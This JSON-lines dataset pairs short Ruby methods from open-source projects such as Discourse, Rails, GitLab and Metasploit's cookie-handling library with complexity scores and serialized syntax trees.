{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/topics_controller.rb","start_line":885,"raw_source":"def move_posts\n    post_ids = params.require(:post_ids)\n    topic_id = params.require(:topic_id)\n    params.permit(:category_id)\n    params.permit(:tags)\n    params.permit(:participants)\n    params.permit(:chronological_order)\n    params.permit(:archetype)\n    params.permit(:freeze_original)\n\n    topic = Topic.with_deleted.find_by(id: topic_id)\n    guardian.ensure_can_move_posts!(topic)\n\n    if params[:title].present?\n      # when creating a new topic, ensure the 1st post is a regular post\n      if Post.where(topic: topic, id: post_ids).order(:post_number).pick(:post_type) !=\n           Post.types[:regular]\n        return(\n          render_json_error(\n            \"When moving posts to a new topic, the first post must be a regular post.\",\n          )\n        )\n      end\n\n      if params[:category_id].present?\n        guardian.ensure_can_create_topic_on_category!(params[:category_id])\n      end\n    end\n\n    hijack do\n      destination_topic = move_posts_to_destination(topic)\n      render_topic_changes(destination_topic)\n    rescue ActiveRecord::RecordInvalid, ActiveRecord::RecordNotSaved => ex\n      render_json_error(ex)\n    end\n  end","complexity_score":61.9,"ast_json":"{\"type\":\"def\",\"children\":[\"move_posts\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"post_ids\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"topic_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"topic_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"tags\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"participants\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"chronological_order\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"archetype\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"permit\",{\"type\":\"sym\",\"children\":[\"freeze_original\"]}]},{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"with_deleted\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"topic_id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_move_posts!\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"title\"]}]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic\"]},{\"type\":\"lvar\",\"children\":[\"topic\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"post_ids\"]}]}]}]},\"order\",{\"type\":\"sym\",\"children\":[\"post_number\"]}]},\"pick\",{\"type\":\"sym\",\"children\":[\"post_type\"]}]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"types\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"regular\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"str\",\"children\":[\"When moving posts to a new topic, the first post must be a regular post.\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"guardian\"]},\"ensure_can_create_topic_on_category!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"category_id\"]}]}]},null]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"hijack\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"destination_topic\",{\"type\":\"send\",\"children\":[null,\"move_posts_to_destination\",{\"type\":\"lvar\",\"children\":[\"topic\"]}]}]},{\"type\":\"send\",\"children\":[null,\"render_topic_changes\",{\"type\":\"lvar\",\"children\":[\"destination_topic\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordInvalid\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"RecordNotSaved\"]}]},{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"send\",\"children\":[null,\"render_json_error\",{\"type\":\"lvar\",\"children\":[\"ex\"]}]}]},null]}]}]}]}","id":"0ee85e41-2bbc-49b1-b259-b6a365d8fdfa"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/http/http_cookie.rb","start_line":25,"raw_source":"def initialize(name, value = nil, **attr_hash)\n            if value\n              @cookie = ::HTTP::Cookie.new(name, value)\n            else\n              @cookie = ::HTTP::Cookie.new(name)\n            end\n\n            attr_hash.each_pair do |k, v|\n              if k == 'max-age'.to_sym\n                self.max_age= v\n              elsif respond_to?(\"#{k}=\".to_sym)\n                self.send(\"#{k}=\".to_sym, v)\n              end\n            end\n          end","complexity_score":22.3,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[\"attr_hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"HTTP\"]},\"Cookie\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"HTTP\"]},\"Cookie\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attr_hash\"]},\"each_pair\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"max-age\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"max_age=\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"respond_to?\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},\"to_sym\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},null]}]}]}]}]}","id":"9e1804c7-2f08-4069-825b-1a6fcb3d771d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/time_zone_test.rb","start_line":802,"raw_source":"def test_all_uninfluenced_by_time_zone_lookups_delegated_to_tzinfo\n    ActiveSupport::TimeZone.clear\n    galapagos = ActiveSupport::TimeZone[\"Pacific/Galapagos\"]\n    all_zones = ActiveSupport::TimeZone.all\n    assert_not_includes all_zones, galapagos\n  end","complexity_score":6.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_all_uninfluenced_by_time_zone_lookups_delegated_to_tzinfo\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"clear\"]},{\"type\":\"lvasgn\",\"children\":[\"galapagos\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"[]\",{\"type\":\"str\",\"children\":[\"Pacific/Galapagos\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"all_zones\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveSupport\"]},\"TimeZone\"]},\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"all_zones\"]},{\"type\":\"lvar\",\"children\":[\"galapagos\"]}]}]}]}","id":"345e723f-b922-491e-9543-15c869376f9f"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/linear/processor_service.rb","start_line":75,"raw_source":"def linear_hook\n    @linear_hook ||= account.hooks.find_by!(app_id: 'linear')\n  end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"linear_hook\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@linear_hook\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"account\"]},\"hooks\"]},\"find_by!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_id\"]},{\"type\":\"str\",\"children\":[\"linear\"]}]}]}]}]}]}","id":"98c597b0-052d-4510-8b21-28d520658c41"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/api/v3/parse_resource_params_service.rb","start_line":36,"raw_source":"def deduce_representer(model)\n        \"API::V3::#{model.to_s.pluralize}::#{model}PayloadRepresenter\".constantize\n      end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"deduce_representer\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"API::V3::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"to_s\"]},\"pluralize\"]}]},{\"type\":\"str\",\"children\":[\"::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]}]},{\"type\":\"str\",\"children\":[\"PayloadRepresenter\"]}]},\"constantize\"]}]}","id":"75634b0d-11ec-434e-b764-25cffd9731c3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/registry/tags_controller.rb","start_line":59,"raw_source":"def image\n        @image ||= project.container_repositories\n          .find(params[:repository_id])\n      end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"image\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@image\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"container_repositories\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"repository_id\"]}]}]}]}]}","id":"910f564a-5438-4737-9f75-f581ba89305c"}
{"repo_name":"spree","file_path":"./repos/spree/core/lib/spree/testing_support/authorization_helpers.rb","start_line":5,"raw_source":"def build_ability(&block)\n          block ||= proc { |_u| can :manage, :all }\n          Class.new do\n            include CanCan::Ability\n            define_method(:initialize, block)\n          end\n        end","complexity_score":14.5,"ast_json":"{\"type\":\"def\",\"children\":[\"build_ability\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_u\"]}]},{\"type\":\"send\",\"children\":[null,\"can\",{\"type\":\"sym\",\"children\":[\"manage\"]},{\"type\":\"sym\",\"children\":[\"all\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CanCan\"]},\"Ability\"]}]},{\"type\":\"send\",\"children\":[null,\"define_method\",{\"type\":\"sym\",\"children\":[\"initialize\"]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}]}","id":"dd362dd7-c7cd-408a-98e5-2be943f7ad92"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/automation/app/serializers/discourse_automation/automation_serializer.rb","start_line":110,"raw_source":"def filter_fields_with_priority(arr, trigger)\n      unique_with_priority = {}\n\n      arr.each do |item|\n        name = item[:name]\n        if (item[:triggerable]&.to_sym == trigger&.to_sym || item[:triggerable].nil?) &&\n             (!unique_with_priority.key?(name) || unique_with_priority[name][:triggerable].nil?)\n          unique_with_priority[name] = item\n        end\n      end\n\n      unique_with_priority.values\n    end","complexity_score":30.0,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_fields_with_priority\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arr\"]},{\"type\":\"arg\",\"children\":[\"trigger\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"unique_with_priority\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"triggerable\"]}]},\"to_sym\"]},\"==\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trigger\"]},\"to_sym\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"triggerable\"]}]},\"nil?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_with_priority\"]},\"key?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_with_priority\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"triggerable\"]}]},\"nil?\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_with_priority\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"item\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"unique_with_priority\"]},\"values\"]}]}]}","id":"1946bf3e-def2-4e59-9cce-bd01f82839d9"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_helper_test.rb","start_line":1085,"raw_source":"def test_inputs_dont_use_before_type_cast_when_value_did_not_come_from_user\n    class << @post\n      undef id_came_from_user?\n      def id_came_from_user?; false; end\n    end\n\n    assert_dom_equal(\n      %{<textarea id=\"post_id\" name=\"post[id]\">\\n0</textarea>},\n      textarea(\"post\", \"id\")\n    )\n  end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_inputs_dont_use_before_type_cast_when_value_did_not_come_from_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"sclass\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@post\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"undef\",\"children\":[{\"type\":\"sym\",\"children\":[\"id_came_from_user?\"]}]},{\"type\":\"def\",\"children\":[\"id_came_from_user?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<textarea id=\\\"post_id\\\" name=\\\"post[id]\\\">\\n0</textarea>\"]},{\"type\":\"send\",\"children\":[null,\"textarea\",{\"type\":\"str\",\"children\":[\"post\"]},{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}","id":"9e27caf9-f3f7-4f6a-a580-226b2c9d3937"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/form_tag_helper_test.rb","start_line":690,"raw_source":"def test_label_tag_without_text\n    actual = label_tag \"title\"\n    expected = %(<label for=\"title\">Title</label>)\n    assert_dom_equal expected, actual\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_label_tag_without_text\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"actual\",{\"type\":\"send\",\"children\":[null,\"label_tag\",{\"type\":\"str\",\"children\":[\"title\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"str\",\"children\":[\"<label for=\\\"title\\\">Title</label>\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"lvar\",\"children\":[\"expected\"]},{\"type\":\"lvar\",\"children\":[\"actual\"]}]}]}]}","id":"3f06ce98-a486-43fe-b1b4-8c66ed5fdfc2"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20120813201426_create_forum_thread_link_clicks.rb","start_line":4,"raw_source":"def change\n    create_table :forum_thread_link_clicks do |t|\n      t.references :forum_thread_link, null: false\n      t.references :user, null: true\n      t.integer :ip, null: false, limit: 8\n      t.timestamps null: false\n    end\n\n    add_column :forum_thread_links, :clicks, :integer, default: 0, null: false\n    add_index :forum_thread_link_clicks, :forum_thread_link_id, name: :by_link\n  end","complexity_score":9.15,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"forum_thread_link_clicks\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"forum_thread_link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"ip\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"limit\"]},{\"type\":\"int\",\"children\":[8]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"forum_thread_links\"]},{\"type\":\"sym\",\"children\":[\"clicks\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"add_index\",{\"type\":\"sym\",\"children\":[\"forum_thread_link_clicks\"]},{\"type\":\"sym\",\"children\":[\"forum_thread_link_id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"sym\",\"children\":[\"by_link\"]}]}]}]}]}]}","id":"df8a5b9c-2d35-480d-856f-a203fbc3f4ee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/authorized_project_update/find_records_due_for_refresh_service.rb","start_line":83,"raw_source":"def fresh_authorizations\n      Gitlab::ProjectAuthorizations.new(user).calculate\n    end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"fresh_authorizations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"ProjectAuthorizations\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},\"calculate\"]}]}","id":"92c84179-425d-4e4b-9ae7-3c5f6eb7f8ae"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/requests/api/graphql/project/pipeline_spec.rb","start_line":53,"raw_source":"def successful_pipeline\n      create(:ci_pipeline, project: project, user: current_user, builds: [create(:ci_build, :success)])\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"successful_pipeline\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_pipeline\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"current_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"builds\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create\",{\"type\":\"sym\",\"children\":[\"ci_build\"]},{\"type\":\"sym\",\"children\":[\"success\"]}]}]}]}]}]}]}","id":"f2a3c238-ea7d-4d0e-a47b-ff694222b8ce"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/config/initializers/monkey_patches/chat.rb","start_line":7,"raw_source":"def chat_unfurl(options = {})\n            if (options[:channel].nil? || options[:ts].nil?) && (options[:unfurl_id].nil? || options[:source].nil?)\n              raise ArgumentError, 'Either a combination of :channel and :ts or :unfurl_id and :source is required'\n            end\n\n            raise ArgumentError, 'Required arguments :unfurls missing' if options[:unfurls].nil?\n\n            options = options.merge(channel: conversations_id(options)['channel']['id']) if options[:channel]\n            post('chat.unfurl', options)\n          end","complexity_score":30.7,"ast_json":"{\"type\":\"def\",\"children\":[\"chat_unfurl\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ts\"]}]},\"nil?\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unfurl_id\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"source\"]}]},\"nil?\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Either a combination of :channel and :ts or :unfurl_id and :source is required\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"unfurls\"]}]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Required arguments :unfurls missing\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"channel\"]}]},{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"channel\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"conversations_id\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"channel\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"id\"]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"str\",\"children\":[\"chat.unfurl\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}","id":"21bac292-49f0-406e-b5d7-88fbbc4c0fb0"}
